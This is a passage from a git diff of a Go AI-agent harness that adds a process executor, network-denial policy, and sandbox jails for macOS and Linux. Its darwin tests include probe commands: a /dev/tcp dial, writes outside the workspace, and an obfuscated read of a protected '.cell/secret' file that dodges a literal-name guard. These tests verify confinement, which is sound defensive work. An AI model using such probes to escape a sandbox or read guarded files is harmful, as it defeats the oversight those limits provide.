and cmd.Stderr to the same writer lets Go's exec @@ -511,6 +514,10 @@ func newBashTool(cwd string, caps Caps) Tool { return "Failed to start command: " + err.Error(), true, nil } + // THE SEAT IS TOLD WHICH GROUP THIS IS, so a record of the call can end + // it if codeaf dies before the call does (executor.Spawned). + executor.Spawned(ctx, cmd.Process.Pid) + // The call is now a thing somebody else could take (promote.go). // Everything that can end it goes through this handle from here on, // so exactly one of the four racers wins. diff --git a/internal/exec/bare/watchcancel_test.go b/internal/exec/bare/watchcancel_test.go new file mode 100644 index 0000000000..913ed43472 --- /dev/null +++ b/internal/exec/bare/watchcancel_test.go @@ -0,0 +1,42 @@ +//go:build !windows + +package bare + +import ( + "context" + "os/exec" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// A call that has already returned is not killed by the cancellation that +// follows it. Both of the watcher's cases are ready when the call's own context +// is cancelled just behind its return; the group it left running must survive +// whichever the watcher is handed. +func TestACallThatReturnedLeavesItsBackgroundProcessAlone(t *testing.T) { + cmd := exec.Command("sleep", "30") + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + pgid := cmd.Process.Pid + // The process is reaped as soon as it dies, so a killed group reads as gone. + reaped := make(chan struct{}) + go func() { _ = cmd.Wait(); close(reaped) }() + t.Cleanup(func() { _ = syscall.Kill(-pgid, syscall.SIGKILL); <-reaped }) + + for i := 0; i < 200; i++ { + ctx, cancel := context.WithCancel(context.Background()) + over := make(chan struct{}) + cancel() + close(over) + watchCancel(ctx, newBashCall("sleep 30", cmd, nil, ctx), over) + } + time.Sleep(50 * time.Millisecond) + if !processgroup.Alive(pgid) { + t.Fatal("the cancellation after a finished call killed the group it left running") + } +} diff --git a/internal/exec/document.go b/internal/exec/document.go index e2af55cbc9..b518d56ee6 100644 --- a/internal/exec/document.go +++ b/internal/exec/document.go @@ -14,6 +14,7 @@ import ( "time" "unicode" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/provider" ) @@ -343,6 +344,19 @@ func documentMediaType(path string) (string, bool) { } } +// documentCommand runs a document tool and answers its combined output, with +// the error a failed run reports (a start failure, or the exit status). +func documentCommand(ctx context.Context, binary string, args ...string) ([]byte, error) { + res, err := executor.For(ctx).In("").Exec(ctx, executor.ExecRequest{ + Argv: append([]string{binary}, args...), + Group: executor.GroupInherit, Combined: true, + }, nil) + if err != nil { + return res.Stdout, err + } + return res.Stdout, res.Failure() +} + func extractLocalPDF(ctx context.Context, path string, pages documentPageRange) (string, bool, error) { binary, err := osexec.LookPath("pdftotext") if err != nil { @@ -355,7 +369,7 @@ func extractLocalPDF(ctx context.Context, path string, pages documentPageRange) args = append(args, path, "-") commandCtx, cancel := context.WithTimeout(ctx, documentCommandTimeout) defer cancel() - output, err := osexec.CommandContext(commandCtx, binary, args...).CombinedOutput() + output, err := documentCommand(commandCtx, binary, args...) if commandCtx.Err() != nil { return "", true, commandCtx.Err() } @@ -392,7 +406,7 @@ func usableDocumentText(text string, pages int) bool { func estimatePDFPages(ctx context.Context, path string, size int64) int { if binary, err := osexec.LookPath("pdfinfo"); err == nil { commandCtx, cancel := context.WithTimeout(ctx, documentCommandTimeout) - output, commandErr := osexec.CommandContext(commandCtx, binary, path).CombinedOutput() + output, commandErr := documentCommand(commandCtx, binary, path) cancel() if commandErr == nil { matched := pdfInfoPagesPattern.FindStringSubmatch(string(output)) diff --git a/internal/exec/hostseat_test.go b/internal/exec/hostseat_test.go new file mode 100644 index 0000000000..89e1c139f7 --- /dev/null +++ b/internal/exec/hostseat_test.go @@ -0,0 +1,7 @@ +package exec + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/exec/jobs.go b/internal/exec/jobs.go index eec6063ea0..5085aab37c 100644 --- a/internal/exec/jobs.go +++ b/internal/exec/jobs.go @@ -15,6 +15,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" "github.com/Agent-Field/codeaf/internal/processgroup" "github.com/Agent-Field/codeaf/internal/store" @@ -173,17 +174,11 @@ func (t *Toolbox) startBackground(ctx context.Context, command string, args map[ } jobCtx, cancel := context.WithCancel(context.Background()) - cmd := exec.CommandContext(jobCtx, "bash", "-lc", command) - configureDetachedCommand(cmd, r.workspace.Root(), logFile) - cmd.Env = environment - cmd.Cancel = func() error { - if cmd.Process == nil { - return os.ErrProcessDone - } - return processgroup.Kill(cmd.Process.Pid) + cmd, err := detachedCommand(executor.For(ctx), jobCtx, r.workspace.Root(), command, environment, logFile, 3*time.Second) + if err == nil { + err = cmd.Start() } - cmd.WaitDelay = 3 * time.Second - if err := cmd.Start(); err != nil { + if err != nil { cancel() _ = logFile.Close() return errorf("could not start background job: %v", err) @@ -191,7 +186,7 @@ func (t *Toolbox) startBackground(ctx context.Context, command string, args map[ // Start duplicated the descriptor into the child. The parent closes its // copy immediately; cmd.Wait does not need it and the child writes directly. _ = logFile.Close() - // configureDetachedCommand gave the child its own session, so its pid is + // detachedCommand gave the child its own session, so its pid is // its process group id and everything it spawns inherits the yield. setProcessGroupPriority(cmd.Process.Pid, backgroundJobNice) diff --git a/internal/exec/services.go b/internal/exec/services.go index c4bcd6473d..ef70079573 100644 --- a/internal/exec/services.go +++ b/internal/exec/services.go @@ -1,6 +1,7 @@ package exec import ( + "context" "errors" "fmt" "io" @@ -9,6 +10,7 @@ import ( "strings" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/processgroup" ) @@ -25,6 +27,7 @@ func ProcessStartTime(pid int) (time.Time, error) { if pid <= 0 { return time.Time{}, errors.New("invalid pid") } + //codeaf:plumbing ps read of a process start time command := exec.Command("ps", "-o", "lstart=", "-p", fmt.Sprint(pid)) // ps renders lstart in the caller's locale, which reorders month and day. // Asking for C makes the one format we depend on the one we get; the @@ -64,9 +67,11 @@ func StartDetachedService(command, dir, logPath string) (int, time.Time, error) if err != nil { return 0, time.Time{}, err } - cmd := exec.Command("bash", "-lc", command) - configureDetachedCommand(cmd, dir, logFile) - if err := cmd.Start(); err != nil { + cmd, err := detachedCommand(executor.Host, context.Background(), dir, command, nil, logFile, 0) + if err == nil { + err = cmd.Start() + } + if err != nil { _ = logFile.Close() return 0, time.Time{}, err } @@ -82,13 +87,22 @@ func StartDetachedService(command, dir, logPath string) (int, time.Time, error) return pid, started, nil } -func configureDetachedCommand(cmd *exec.Cmd, dir string, output io.Writer) { - cmd.Dir = dir - cmd.Stdout = output - cmd.Stderr = output - // A new session is also a new process group. It preserves group-wide job - // teardown and lets an adopted service survive the chat terminal closing. - processgroup.ConfigureDetached(cmd) +// detachedCommand builds the shell command a background job or service runs +// as: a login bash in dir, in a session of its own, writing to one shared +// output. A new session is also a new process group; it preserves group-wide +// job teardown and lets an adopted service survive the chat terminal closing. +func detachedCommand( + seat executor.Seat, ctx context.Context, dir, command string, environment []string, output io.Writer, wait time.Duration, +) (*exec.Cmd, error) { + cmd, err := seat.In(dir).Command(ctx, executor.ExecRequest{ + Argv: []string{"bash", "-lc", command}, Env: environment, + Group: executor.GroupSession, WaitDelay: wait, + }) + if err != nil { + return nil, err + } + cmd.Stdout, cmd.Stderr = output, output + return cmd, nil } // StopServiceProcess terminates the whole detached session, preserving the diff --git a/internal/exec/tools.go b/internal/exec/tools.go index 35fff9418d..7254b7d089 100644 --- a/internal/exec/tools.go +++ b/internal/exec/tools.go @@ -3,11 +3,9 @@ package exec import ( "context" "encoding/json" - "errors" "fmt" "io" "os" - "os/exec" "path/filepath" "regexp" "sort" @@ -22,8 +20,8 @@ import ( "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/ctxbudget" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" - "github.com/Agent-Field/codeaf/internal/processgroup" "github.com/Agent-Field/codeaf/internal/rtk" "github.com/Agent-Field/codeaf/internal/store" ) @@ -1593,24 +1591,14 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk // names a private socket directory even in that nil case (tools.go). environment = JobShellEnv(environment) - cmd := exec.CommandContext(runCtx, "bash", "-lc", command) - cmd.Dir = t.workspace.Root() - cmd.Env = environment // A command that leaves a background child sharing its stdout used to hang // the whole run: killing bash at the timeout is not enough, because Wait // blocks until every inherited pipe writer exits, and a scheduler goroutine - // stuck there wedges the graph silently and forever. The process group - // makes the timeout kill reach grandchildren, and WaitDelay force-closes - // the pipes shortly after bash itself is gone for anything that survives — - // a stuck tool call must cost its timeout, never the run. - processgroup.Configure(cmd) - cmd.Cancel = func() error { - if cmd.Process == nil { - return os.ErrProcessDone - } - return processgroup.Kill(cmd.Process.Pid) - } - cmd.WaitDelay = 3 * time.Second + // stuck there wedges the graph silently and forever. The executor puts the + // command in its own process group so the timeout kill reaches grandchildren, + // and WaitDelay force-closes the pipes shortly after bash itself is gone for + // anything that survives — a stuck tool call must cost its timeout, never + // the run. // Collected rather than read whole. A command inside a fifteen-minute call // may print hundreds of megabytes and all but twelve kilobytes of them are // discarded a line later; the collector keeps only the part that survives, @@ -1628,25 +1616,28 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk // than that. Everything past the first is teed to a file as it arrives, so // the notice that ends up in context names a command that actually works. collected := newCappedOutput(strip, t.budgets.spill, t.budgets.preview, t.openSpill) - cmd.Stdout, cmd.Stderr = collected, collected - err := cmd.Run() + res, err := executor.For(runCtx).In(t.workspace.Root()).Exec(runCtx, executor.ExecRequest{ + Argv: []string{"bash", "-lc", command}, Env: environment, + WaitDelay: 3 * time.Second, Combined: true, Stream: true, + }, func(c executor.Chunk) { _, _ = collected.Write(c.Data) }) + if res.Status != "" { + err = res.Failure() // the process ran: its own status is the outcome + } run := shellRun{body: collected.String(), bounded: collected.truncated(), - err: err, exitCode: exitCode(cmd, err)} + err: err, exitCode: exitCode(res, err)} run.timedOut = runCtx.Err() == context.DeadlineExceeded - run.detached = errors.Is(err, exec.ErrWaitDelay) + run.detached = res.PipesForced return run } -func exitCode(cmd *exec.Cmd, err error) int { - if err == nil { +func exitCode(res executor.ExecResult, err error) int { + switch { + case err == nil: return 0 + case res.Status == "": + return -1 // never started } - if cmd.ProcessState != nil { - if code := cmd.ProcessState.ExitCode(); code >= 0 { - return code - } - } - return -1 + return res.Exit } func (t *Toolbox) write(args map[string]any) Result { diff --git a/internal/executor/executor.go b/internal/executor/executor.go new file mode 100644 index 0000000000..a1144ce112 --- /dev/null +++ b/internal/executor/executor.go @@ -0,0 +1,197 @@ +// Package executor is the one path from a tool call to an operating-system +// process (docs/ARCHITECTURE.md section 8). A request names what to run, where +// (relative to the workspace root), for how long, under which class and network +// policy; the result names what happened, whether the world outside the +// workspace could have been touched, and which children were left running. +// +// Two implementations exist: Local, which spawns here, and Remote, which will +// spawn on another device. The structural law in law_test.go keeps every other +// tool-execution package from reaching os/exec around this one. +package executor + +import ( + "context" + "errors" + "github.com/Agent-Field/codeaf/internal/processgroup" + "io" + "os/exec" + "time" +) + +// Class is declared per workspace, never detected. +type Class int + +const ( + // Sandboxed is the default: a jail applies where one is installed. + Sandboxed Class = iota + // FilesOnly runs no process at all. + FilesOnly + // HostBound runs unjailed on the home device. + HostBound +) + +// NetPolicy is the side-effect oracle. The zero value denies the network. It is +// never chosen at a call site: the executor derives it from the class the +// workspace declared (see policy.go). +type NetPolicy struct { + // Open grants the whole network; Allow grants named hosts only. + Open bool + Allow []string +} + +// Denies reports whether the call cannot reach the network at all. +func (p NetPolicy) Denies() bool { return !p.Open && len(p.Allow) == 0 } + +// SideEffect says where a call's effects can land. +type SideEffect string + +const ( + // EffectLocal: effects live only in the workspace. + EffectLocal SideEffect = "local" + // EffectExternal: effects may have reached the world beyond it. + EffectExternal SideEffect = "external" +) + +// Classify is the whole rule: no network, no external effect. It is exported +// so a caller can decide the side effect before the call runs (the WAL intent). +func Classify(p NetPolicy) SideEffect { + if p.Denies() { + return EffectLocal + } + return EffectExternal +} + +// Group says how the child is placed among the harness's own processes. +type Group int + +const ( + // GroupOwn gives the child its own process group, so a kill reaches + // everything it started. It is the default. + GroupOwn Group = iota + // GroupSession gives it a new session: its own group and no controlling + // terminal, so a program that opens /dev/tty is refused. + GroupSession + // GroupInherit leaves it in the harness's group. + GroupInherit +) + +// ExecRequest is one process to run. +type ExecRequest struct { + Argv []string + Env []string // nil inherits the host environment + Dir string // relative to the workspace root, never under .cell/ + Timeout time.Duration // zero means no limit beyond the context + + // Setup marks a setup turn's call (docs/ARCHITECTURE.md 8.4): the network + // is open and the result is external. It is the only intent a caller states. + Setup bool + + // Class and Net are filled in by Local from the workspace's declared class + // (policy.go); a value a caller sets is overwritten. They are exported so + // a Jail and an Observer can read them. + Class Class + Net NetPolicy + + Stdin io.Reader // nil reads nothing + Group Group // where the child sits; the zero value is its own group + WaitDelay time.Duration // bound on draining output after exit; zero picks a short default + Combined bool // stderr shares stdout's pipe, so arrival order is kept + Stream bool // output goes to onOutput only; the result keeps none of it +} + +// Stream names an output stream. +type Stream int + +const ( + Stdout Stream = iota + Stderr +) + +// Chunk is a piece of output, delivered as it is produced. +type Chunk struct { + Stream Stream + Data []byte +} + +// Service is a process group still alive after its call returned. +type Service struct { + Name string // basename of the first member's argv[0] + Argv []string // the first member's command line (the request's off Linux) + PGID int + Ports []int // listening TCP ports, when known (Linux only) + DataDir string // cell-relative data directory, when the service keeps one +} + +// SnapshotExact is the seal's quality rule (docs/ARCHITECTURE.md 4.3, derived, +// never stored): a snapshot is exact iff the call left no process alive. +// Anything still running may be writing, so the seal is best effort. +func SnapshotExact(res ExecResult) bool { return len(res.Services) == 0 } + +// ExecResult is what one call did. +type ExecResult struct { + Exit int // -1 when the process was killed or never exited + Status string + TimedOut bool + PipesForced bool // a child kept the output pipes open and they were closed on it + Stdout []byte + Stderr []byte + Wall time.Duration + SideEffect SideEffect + Services []Service + // JailDegraded: the jail could not apply every limit on this kernel. + JailDegraded bool +} + +// Failure is nil for a clean exit and otherwise the process's own status +// sentence, such as "exit status 2" or "signal: killed". A clean exit whose +// output pipes had to be closed on a lingering child reports exec.ErrWaitDelay, +// as os/exec does. +func (r ExecResult) Failure() error { + switch { + case r.Exit != 0: + return errors.New(r.Status) + case r.PipesForced: + return exec.ErrWaitDelay + } + return nil +} + +// Executor runs a request and streams output to onOutput, which may be nil. +// A process that exits non-zero is a result, not an error; an error means the +// call could not run or was cancelled by its context. +type Executor interface { + Exec(ctx context.Context, req ExecRequest, onOutput func(Chunk)) (ExecResult, error) +} + +// Observer is told about every call that ran: the request and what came back. +// It must not block, and it never changes the result. +type Observer interface { + Observe(req ExecRequest, res ExecResult) +} + +// Job is one command that outlives the call that started it: a background job a +// session registered, still running until it is not. +type Job struct { + // ID names the job for the life of the session; Ended names it again. + ID int + // Command is the command line as the session started it. + Command string + // Dir is the folder it runs in, relative to the workspace root; "" is the root. + Dir string + // PGID is the process group it leads. + PGID int +} + +// Lifecycle is what an [Observer] may also implement to hear of a job as it +// starts and as it ends, however it ends. It exists because a job is started +// through Command, which an observer never sees: what runs after the call +// returned is known only to the site that owns the process, so that site says so. +type Lifecycle interface { + Started(job Job) + Ended(id int) +} + +// GroupPorts is the TCP ports the process group pgid is listening on, empty +// where the platform cannot say. It is what tells a running server from a +// process that merely exists. +func GroupPorts(pgid int) []int { return listenPorts(processgroup.Members(pgid)) } diff --git a/internal/executor/executortest/executortest.go b/internal/executor/executortest/executortest.go new file mode 100644 index 0000000000..a9cce4aea1 --- /dev/null +++ b/internal/executor/executortest/executortest.go @@ -0,0 +1,11 @@ +// Package executortest is how a test binary that exercises tools without a +// session says, once and by name, that its calls run on the host. +package executortest + +import "github.com/Agent-Field/codeaf/internal/executor" + +// Host makes the host seat the one seatless calls in this test binary run on. +// A production context that lost its session still fails with +// [executor.ErrNoSeat]; only a package that imports this from a _test.go file +// is spared. +func Host() { executor.UseInTests(executor.Host) } diff --git a/internal/executor/gated.go b/internal/executor/gated.go new file mode 100644 index 0000000000..4e40da419f --- /dev/null +++ b/internal/executor/gated.go @@ -0,0 +1,40 @@ +package executor + +import "context" + +// Gated is seat with a gate in front of every tool call: while gate answers an +// error the call is refused with that error and nothing runs, and while it +// answers nil the seat is untouched. It is how a chat that another machine +// took over stops acting (a viewer only shows). A nil gate leaves the seat as +// it was. +func Gated(seat Seat, gate func() error) Seat { + if gate == nil { + return seat + } + return gated{Seat: seat, gate: gate} +} + +type gated struct { + Seat + gate func() error +} + +// ForSetup implements SetupSeat: a setup turn's calls are gated too. +func (g gated) ForSetup() Seat { return Gated(ForSetup(g.Seat), g.gate) } + +// NoteModelCall implements ModelNoter: the seat beneath keeps the record. +func (g gated) NoteModelCall(m ModelCall) { NoteModelCall(g.Seat, m) } + +// Interrupted implements Interruptible: the answer is the seat beneath's. +func (g gated) Interrupted() Interrupted { return InterruptedOn(g.Seat) } + +// Around implements Seat: a refused call is not run. +func (g gated) Around(ctx context.Context, call Call, run func() ([]byte, bool)) error { + if err := g.gate(); err != nil { + return err + } + return g.Seat.Around(ctx, call, run) +} + +// Settle implements Settler: the seat beneath keeps the record. +func (g gated) Settle(ctx context.Context) { Settle(ctx, g.Seat) } diff --git a/internal/executor/jail.go b/internal/executor/jail.go new file mode 100644 index 0000000000..1000d55723 --- /dev/null +++ b/internal/executor/jail.go @@ -0,0 +1,21 @@ +package executor + +import ( + "errors" + "fmt" +) + +// ErrNoIsolation is the refusal of a call that must have no network on a +// system that cannot isolate it. It reads as a sentence to the person: the +// call did not run. +var ErrNoIsolation = errors.New("this command was not run: the workspace is sandboxed (no network) but this system " + + "cannot block the network") + +// refuseWithout fails closed, saying why and what to do, when the network must +// be denied; a call that may use the network runs unconfined (degraded). +func refuseWithout(req ExecRequest, remedy string) error { + if req.Net.Denies() { + return fmt.Errorf("%w: %s", ErrNoIsolation, remedy) + } + return nil +} diff --git a/internal/executor/jail_darwin.go b/internal/executor/jail_darwin.go new file mode 100644 index 0000000000..e6d7f4f4e2 --- /dev/null +++ b/internal/executor/jail_darwin.go @@ -0,0 +1,134 @@ +//go:build darwin + +package executor + +// jail_darwin.go confines a child with the system's seatbelt (sandbox-exec): +// the command is wrapped, and the profile (seatbelt.go) is passed inline, so +// nothing is written to disk and nothing needs cleaning up. + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" +) + +const sandboxExec = "/usr/bin/sandbox-exec" + +// SeatbeltJail is the macOS Jail. Hidden names extra directories no call may +// read or write, such as the engine store; the workspace's .cell/ is always +// hidden. The zero value is ready to use. +type SeatbeltJail struct { + Hidden []string +} + +// Confine rewrites cmd to run under sandbox-exec. +func (j SeatbeltJail) Confine(cmd *exec.Cmd, req ExecRequest) error { + if cmd.Err != nil { + return cmd.Err + } + if !seatbeltWorks() { + return refuseWithout(req, "sandbox-exec is unavailable; declare the workspace host-bound") + } + sc, err := j.scopeFor(cmd, req) + if err != nil { + return err + } + if err := os.MkdirAll(sc.tmp, 0o700); err != nil { + return err + } + // TODO(allowlist): a host allowlist is treated as open until proxying exists. + cmd.Args = append([]string{sandboxExec, "-p", sc.profile(), cmd.Path}, cmd.Args[1:]...) + cmd.Path = sandboxExec + cmd.Env = withTmpdir(cmd.Env, sc.tmp) + return nil +} + +// Degraded reports that sandbox-exec cannot apply, so the call ran unconfined. +func (SeatbeltJail) Degraded(ExecRequest) bool { return !seatbeltWorks() } + +// scopeFor builds the call's scope from canonical paths: the profile matches +// real paths, and /var and /tmp are links. +func (j SeatbeltJail) scopeFor(cmd *exec.Cmd, req ExecRequest) (scope, error) { + root, err := canonical(cmd.Dir) + if err != nil { + return scope{}, err + } + // The private tmp is a directory of its own, reused by every call in this + // workspace, so it is never the workspace and needs no removal hook. + tmp, err := canonical(os.TempDir()) + if err != nil { + return scope{}, err + } + hidden, err := canonicals(append([]string{filepath.Join(root, ".cell")}, j.Hidden...)) + if err != nil { + return scope{}, err + } + return scope{root: root, tmp: filepath.Join(tmp, "codeaf-jail-"+digest(root)), hidden: hidden, net: req.Net}, nil +} + +// canonical is an absolute path with links resolved; a path that does not +// exist yet keeps its cleaned form. +func canonical(p string) (string, error) { + abs, err := filepath.Abs(p) + if err != nil { + return "", err + } + if real, err := filepath.EvalSymlinks(abs); err == nil { + return real, nil + } + return abs, nil +} + +func canonicals(paths []string) ([]string, error) { + out := make([]string, len(paths)) + for i, p := range paths { + c, err := canonical(p) + if err != nil { + return nil, err + } + out[i] = c + } + return out, nil +} + +func digest(s string) string { + sum := sha256.Sum256([]byte(s)) + return hex.EncodeToString(sum[:6]) +} + +// withTmpdir points the child's temporary directory at the private one; a nil +// environment inherits the host's first. +func withTmpdir(env []string, tmp string) []string { + if env == nil { + env = os.Environ() + } + kept := make([]string, 0, len(env)+1) + for _, kv := range env { + if !strings.HasPrefix(kv, "TMPDIR=") { + kept = append(kept, kv) + } + } + return append(kept, "TMPDIR="+tmp) +} + +var ( + probeOnce sync.Once + probed bool +) + +// seatbeltWorks measures once whether a profile applies: a no-op runs under a +// minimal one. +func seatbeltWorks() bool { + probeOnce.Do(func() { + probe := exec.Command(sandboxExec, "-p", "(version 1)(allow default)", "/usr/bin/true") //codeaf:plumbing capability probe of the jail itself + probed = probe.Run() == nil + }) + return probed +} + +// DefaultJail is the jail this system provides. +func DefaultJail() Jail { return SeatbeltJail{} } diff --git a/internal/executor/jail_darwin_test.go b/internal/executor/jail_darwin_test.go new file mode 100644 index 0000000000..db03a5e3ad --- /dev/null +++ b/internal/executor/jail_darwin_test.go @@ -0,0 +1,146 @@ +//go:build darwin + +package executor + +import ( + "context" + "net" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func jailed(t *testing.T, j Jail, root string, class Class, req ExecRequest) ExecResult { + t.Helper() + if !seatbeltWorks() { + t.Skip("sandbox-exec unavailable") + } + res, err := Local{Root: root, Class: class, Jail: j}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +// loopback returns a local TCP address a confined child can reach only if the +// network is open to it. +func loopback(t *testing.T) string { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Skipf("no loopback: %v", err) + } + t.Cleanup(func() { l.Close() }) + go func() { + for { + c, err := l.Accept() + if err != nil { + return + } + c.Close() + } + }() + return l.Addr().String() +} + +func dialer(addr string) ExecRequest { + host, port, _ := net.SplitHostPort(addr) + r := sh("exec 3<>/dev/tcp/" + host + "/" + port) + r.Timeout = 10 * time.Second + return r +} + +func TestSeatbeltProbe(t *testing.T) { + if !seatbeltWorks() { + t.Fatal("sandbox-exec does not apply on this macOS") + } + if (SeatbeltJail{}).Degraded(ExecRequest{}) { + t.Fatal("a working seatbelt reports degraded") + } +} + +func TestSandboxedCannotWriteOutsideWorkspace(t *testing.T) { + root := t.TempDir() + outsides := []string{ + filepath.Join(os.Getenv("HOME"), ".jail-test-outside"), + filepath.Join(filepath.Dir(root), "jail-test-sibling"), + } + for _, o := range outsides { + defer os.Remove(o) + } + res := jailed(t, SeatbeltJail{}, root, Sandboxed, sh("echo x > "+outsides[0]+"; echo x > "+outsides[1]+"; echo y > inside.txt")) + for _, o := range outsides { + if _, err := os.Stat(o); err == nil { + t.Fatalf("wrote outside the workspace: %s", o) + } + } + if b, _ := os.ReadFile(filepath.Join(root, "inside.txt")); strings.TrimSpace(string(b)) != "y" { + t.Fatalf("workspace write failed: %s", res.Stderr) + } +} + +func TestSandboxedHasPrivateWritableTmp(t *testing.T) { + res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, sh(`echo t > "$TMPDIR/scratch" && cat "$TMPDIR/scratch"`)) + if res.Exit != 0 || strings.TrimSpace(string(res.Stdout)) != "t" { + t.Fatalf("private tmp unusable: %+v", res) + } + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, sh("echo t > /tmp/jail-test-shared")); res.Exit == 0 { + os.Remove("/tmp/jail-test-shared") + t.Fatal("wrote the shared /tmp") + } +} + +func TestNetworkDeniedUnlessSetup(t *testing.T) { + addr := loopback(t) + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, dialer(addr)); res.Exit == 0 || res.SideEffect != EffectLocal { + t.Fatalf("a sandboxed call reached a local listener: %+v", res) + } + setup := dialer(addr) + setup.Setup = true + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, setup); res.Exit != 0 || res.SideEffect != EffectExternal { + t.Fatalf("a setup call was cut off: %+v", res) + } +} + +func TestCellIsUnreadable(t *testing.T) { + root := t.TempDir() + cell := filepath.Join(root, ".cell") + if err := os.Mkdir(cell, 0o755); err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(cell, "secret"), []byte("s"), 0o644) + // Assembled at run time: a literal .cell argument is refused before the jail. + res := jailed(t, SeatbeltJail{}, root, Sandboxed, sh(`d="$(printf '.ce%s' ll)"; cat "$d/secret"; echo z > "$d/new"`)) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "s") { + t.Fatalf("read .cell inside the jail: %+v", res) + } + if _, err := os.Stat(filepath.Join(cell, "new")); err == nil { + t.Fatal("wrote into .cell inside the jail") + } +} + +func TestHiddenStoreIsUnreachable(t *testing.T) { + store := t.TempDir() + os.WriteFile(filepath.Join(store, "obj"), []byte("o"), 0o644) + res := jailed(t, SeatbeltJail{Hidden: []string{store}}, t.TempDir(), Sandboxed, sh("cat "+filepath.Join(store, "obj"))) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "o") { + t.Fatalf("read the engine store inside the jail: %+v", res) + } +} + +func TestHostBoundRunsUnconfined(t *testing.T) { + addr := loopback(t) + outside := filepath.Join(os.Getenv("HOME"), ".jail-test-host") + defer os.Remove(outside) + req := dialer(addr) + req.Argv[2] += "; echo x > " + outside + res := jailed(t, SeatbeltJail{}, t.TempDir(), HostBound, req) + if res.Exit != 0 || res.JailDegraded { + t.Fatalf("host-bound call was confined: %+v", res) + } + if _, err := os.Stat(outside); err != nil { + t.Fatal("host-bound call could not write outside the workspace") + } +} diff --git a/internal/executor/jail_linux.go b/internal/executor/jail_linux.go new file mode 100644 index 0000000000..ed63775f62 --- /dev/null +++ b/internal/executor/jail_linux.go @@ -0,0 +1,214 @@ +//go:build linux + +package executor + +// jail_linux.go confines a child with only kernel features and this binary: +// a private network namespace when the policy denies the network, a private +// /tmp, an unreadable .cell/, and Landlock write limits (workspace, /tmp and +// /dev only). The child is this binary re-executed as a helper, which sets up +// the mounts and Landlock inside the new namespaces and then execs the tool. + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/unix" +) + +// helperName is argv[0] of the re-executed helper. +const helperName = "codeaf-jail-helper" + +// LinuxJail is the Linux Jail. The zero value is ready to use. +type LinuxJail struct{} + +// Confine rewrites cmd to run under the helper. +func (LinuxJail) Confine(cmd *exec.Cmd, req ExecRequest) error { + if cmd.Err != nil { + return cmd.Err + } + caps := Probe() + if !caps.UserNS { + return refuseWithoutNamespaces(req) + } + root, err := filepath.Abs(cmd.Dir) + if err != nil { + return err + } + // TODO(allowlist): a host allowlist is treated as open until proxying exists. + cmd.SysProcAttr = withNamespaces(cmd.SysProcAttr, req.Net.Denies()) + cmd.Args = append([]string{helperName, boolArg(caps.Landlock), root, cmd.Path}, cmd.Args...) + cmd.Path = "/proc/self/exe" + return nil +} + +// Degraded reports that the filesystem limits could not all be applied. +func (LinuxJail) Degraded(ExecRequest) bool { + c := Probe() + return !c.Landlock || !c.UserNS +} + +// refuseWithoutNamespaces fails closed when the network must be denied and +// runs unconfined (degraded) otherwise. +func refuseWithoutNamespaces(req ExecRequest) error { + return refuseWithout(req, "user namespaces are disabled; enable user namespaces or declare the workspace host-bound") +} + +// withNamespaces merges the namespace attributes into the group attributes. +func withNamespaces(base *syscall.SysProcAttr, newNet bool) *syscall.SysProcAttr { + ns := namespaceAttr(newNet) + if base != nil { + ns.Setpgid, ns.Pgid, ns.Setsid = base.Setpgid, base.Pgid, base.Setsid + } + return ns +} + +func boolArg(b bool) string { + if b { + return "1" + } + return "0" +} + +func init() { + if len(os.Args) > 4 && os.Args[0] == helperName { + os.Exit(runHelper(os.Args[1] == "1", os.Args[2], os.Args[3], os.Args[4:])) + } +} + +// runHelper runs inside the new namespaces; it only returns on failure. +func runHelper(landlock bool, root, path string, argv []string) int { + steps := []func() error{ + func() error { return unix.Mount("", "/", "", unix.MS_REC|unix.MS_PRIVATE, "") }, + func() error { return privateTmp(root) }, + func() error { return hideCell(root) }, + func() error { return applyLandlock(landlock, root) }, + dropCaps, + } + for _, step := range steps { + if err := step(); err != nil { + os.Stderr.WriteString("jail: " + err.Error() + "\n") + return 126 + } + } + err := syscall.Exec(path, argv, os.Environ()) + os.Stderr.WriteString("jail: exec: " + err.Error() + "\n") + return 127 +} + +// tmpHome is the shared temporary directory the jail replaces with a private one. +const tmpHome = "/tmp" + +// livesInTmp reports a workspace that is itself under the shared tmp, which +// then stays as it is: hiding it would hide the workspace. +func livesInTmp(root string) bool { + rel, err := filepath.Rel(tmpHome, root) + return err == nil && !strings.HasPrefix(rel, "..") +} + +func privateTmp(root string) error { + if livesInTmp(root) { + return nil + } + return mountTmpfs(tmpHome, "mode=1777") +} + +func mountTmpfs(target, opts string) error { + return unix.Mount("tmpfs", target, "tmpfs", unix.MS_NOSUID|unix.MS_NODEV, opts) +} + +// hideCell covers the harness-owned directory with an unreadable empty one. +func hideCell(root 